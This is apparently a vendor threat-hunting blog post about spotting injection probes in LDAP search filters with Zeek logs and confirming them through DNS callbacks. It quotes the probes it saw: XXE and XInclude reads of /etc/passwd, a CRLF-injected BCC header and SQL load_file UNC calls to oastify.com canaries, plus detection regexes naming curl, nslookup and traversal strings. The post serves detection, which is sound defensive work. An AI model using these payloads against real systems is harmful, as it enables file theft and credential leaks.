When the fuzzers come knocking on port 389: Hunting injection canaries in LDAP

It's easy to think of core infrastructure protocols like LDAP, Kerberos, DNS, SMB, and NTP as furniture. They're so old, so ubiquitous, and normally so quietly reliable that we almost stop seeing them. However, history teaches us that Infrastructure protocols can and do have serious vulnerabilities.

They say when you kick a rock over, dozens of bugs crawl out from under it. In this vein, this blog delves into how I went looking for one security issue and uncovered 6 other ones. This discovery also shows how strong network evidence makes these detections possible.

CVE-2026-41089

A concrete example of security issues that can affect common infrastructure protocols is CVE-2026-41089. Patched in May 2026, this CVE is a pre-authentication flaw in the Windows Netlogon service that is reachable over Connectionless LDAP (CLDAP) on UDP port 389. A single crafted, unauthenticated packet is enough to crash LSASS, and public proof-of-concept exploits were circulating soon after the release of the patch.

I had originally set out to develop detection ideas for this vulnerability, and my first port of call was hunting through Zeek’s ldap_search log in our Polaris environment, an invaluable resource that hosts real-world data across a variety of sites and at scale. I’d selected ldap_search logs because these are the Zeek logs that provide the data suitable for detecting the exploit being attempted. At first, I saw only that “quiet hum” that these sorts of ubiquitous infrastructure logs tend to exhibit. Soon enough though, I noticed something interesting, something way out of the ordinary. It looked like some form of security testing or fuzzing of LDAP against domain controllers, and the activity was not subtle. The attackers were stuffing all sorts of out-of-band callback canaries, shell commands, and file-read payloads into the username withinthe LDAP query’s search filter, which is a target location related to the CVE-2026-41089 vulnerability.

In this blog, however, we won’t focus on CVE-2026-41089 itself. Instead, we’ll describe what the other campaigns looked like: These were the aforementioned other bugs that came crawling out from under the CVE-2026-41089 rock. This serves as a good example of how Zeek readily surfaces data that is crucial to security, while also shows how Corelight logs help give insight as to whether any of these probes worked.

The payloads

The payloads reveal a rich cross-section of offensive techniques, because the attacker didn't send one attack; they sent the whole catalog. Most attempts/techniques are tagged with a unique tracking token, which allows their remote backend systems to see which one worked: These were the ones that called back to their server. The ones that didn’t fully work never called back. This is the asymmetrical nature of fuzzing: Attackers can try a range of techniques and then sit back and wait to see which ones succeed.

To set the scene, this is what a small sample of the menagerie of probes looks like when hunting in Corelight Investigator.

We can then use LogScale to extract the actual payloads (shown in red boxes) from the filter field and all the usual suspects appear clearly. Next, we’ll briefly explain each of these classes of discovered attack scenarios.

Class 1: Out-of-band canaries (OAST)

oastify.com is a domain used by Burp Suite Collaborator, an out-of-band application security testing (OAST) server. Each random 38–40-character label acts as a unique tracking token.

In the simplest probe, the attacker attempts to force the target to look up a unique name. They then monitor their OAST server for any callbacks to that domain. If the fuzzing triggers a bug (whether in LDAP itself or downstream in the logging, incident response, or analysis pipeline) the resolution occurs, providing the attacker with a clear signal to focus further attention.

Class 2: OS command injection

A similar service, *.bxss.me ,also shows up in the command-injection payloads. The whole point of these services is that if anything ever resolves that unique domain name, the attacker knows this particular injection attempt worked. Once again, these telltale resolutions occur on their remote DNS/HTTP server, so they don’t need to be on the victim infrastructure.

Here, they attempt a DNS callback as the proof-of-life:

Note the buffet of shell-quoting tricks: pipes, $(...), and backticks, each betting on a different downstream parser.

And my favorite, the whitespace-restriction bypass using the internal field separator:

$(IFS) is what you'd use to circumvent spaces being filtered, a tell that this is an automated payload library, not human typing.

Class 3: Local File Inclusion / path traversal

This class is the extremely common /passwd/ trawl. The attacker wanted /etc/passwd to be read back through dozens of different parsers. Here we have the same goal, but with six encodings: Raw traversal, URL-encoding to evade a naive filter, the ..././ trick that survives a single ../ -stripping pass, and Java-flavored url:file: and netdoc: URL handlers.

Class 4: XXE / XInclude

Here, they are hoping that the input will be fed to an XML parser, and that the parser might fetch the file or URL for them:

sAMAccountName=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
               <xi:include parse="text" href="file:///etc/passwd"/></foo>

sAMAccountName=<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
               <test><name>&xxe;</name></test>

samaccountname=...<xi:include href="http://4w[redacted].oastify.com/foo">

Class 5: CRLF / header injection

Smuggling a carriage-return-line-feed \x0d\x0a to inject a new line; here, a BCC header to exfiltrate over email:

samaccountname=...\x0d\x0aBCC:42mjhncr1w3g6fdlkygjnyzx9atg83v4onso4ud@oastify.com\x0d\x0a...

Class 6: SQL injection

Finally, for good measure, we observed SQL load_file payloads aimed at UNC paths. These are designed to coerce an outbound SMB connection, often in an attempt to leak a NetNTLM hash via SMB exfiltration:

samaccountname=(select load_file('\\\\5i61[redacted].oastify.com\vmi'))

The hunt was a one-liner

The most encouraging part of this story is that I didn't need to write a custom detector, ship a new package, or even open a notice. The necessary visibility was already present in our standard logs.

Zeek's LDAP analyzer decodes the BER-encoded search filter into a flat, human-readable string in the filter column of ldap_search.log. As a result, the entire campaign described above can be easily surfaced using simple substring matching in Corelight Investigator or LogScale:

// the out-of-band canaries
#path=ldap_search filter=/oastify\.com|bxss\.me/i

// the command-injection family
#path=ldap_search filter=/nslookup|curl|\$\{IFS\}/i

// the file-read / traversal family
#path=ldap_search filter=/etc\/passwd|%2e%2e%2f|file:\/\/|netdoc:/i

// one broad net: "this is a fuzzer, not a username"
#path=ldap_search filter=/http:\/\/|oastify|bxss\.me|load_file|xi:include|<!DOCTYPE|\\x0d\\x0a|etc\/passwd/i

Detecting successful attacks

So did any of these attempts actually work?

This is where a hunt earns its keep. Finding the payload is not the same as confirming the exploit.

The question to ask here is: Did the out-of-band callback resolve? You need definitive proof either way. Successful resolution is the ultimate goal of these canaries. To confirm exploitation, you must check whether any internal host resolved one of those unique subdomains. This requires pivoting from LDAP logs into DNS logs, which Zeek provides by default:

// then ask DNS whether any internal host ever looked one up
#path=dns query=/oastify\.com|bxss\.me/i

Here you are hoping that the above search will turn up zero hits, meaning that no internal host ever successfully queried from the canary. In that case, the payload reached the LDAP service and died there: Attempted, but not successful.

Avoiding the noise: Two traps to watch

When I ran that DNS search, it initially returned 49,725 hits. That number can look terrifying without context, so here are two essential triage tips to help navigate the noise.

Tip 1: Differentiate between the scanner and a compromised host

polling.oastify.com is not a callback from a victim; it is the Burp Suite Collaborator client itself checking for results.

Collaborator works in two parts: the random subdomains are the canaries that a target resolves if an injection is successful, while polling.oastify.com is the address the red team operator's machine hits to ask its server, "Has anything called back yet?" You need to filter out this heartbeat; otherwise, the noise will bury the handful of lookups that actually matter.

Tip 2: Rule out your own security team
Out-of-band tools like Burp Collaborator and bxss.me are standard for ethical hackers and bug bounty hunters. Before treating this traffic as hostile, identify the source IPs. Are these your authorized scanning boxes?

// who on my network is actually generating the OAST lookups?
#path=dns query=/oastify\.com/i
| groupBy(id.orig_h, function=count())

• Are the lookups coming from your sanctioned scanner subnets / VPN pool, or from random user endpoints and servers?
• Does the timing line up with a scheduled scan window or an active engagement?
• Can your AppSec / red team confirm the Collaborator instance is theirs?

The lesson is simple: OAST infrastructure in your DNS logs is just as likely to be on *your side* as the attacker's. Confirm ownership before you escalate. Conversely, if the callbacks come from a production server you don't scan, that's when the hair on the back of your neck should stand up.

This DNS cross-check is the whole difference between "we got scanned" and "we got compromised." The beauty of having Zeek on the wire is that both halves of the evidence, the attempt *and* the proof, are sitting in the same place, and there by default!

The takeaway

It is tempting to treat LDAP as plumbing/authentication noise you never read. But CVE-2026-41089 proves that the furniture is often a target and well worth watching. Whether it’s a domain controller crash or a cross-protocol injection, the reconnaissance phase follows a familiar pattern: spray injection canaries at every field on port 389 and wait for the DNS callback.

The good news is that you don’t necessarily need a vendor signature to find this. If you have Zeek watching port 389, the search filters are already decoded and the DNS callbacks are already logged. Having protocol visibility is the detection. Pay attention to the boring protocols. That is sometimes where the interesting traffic lives.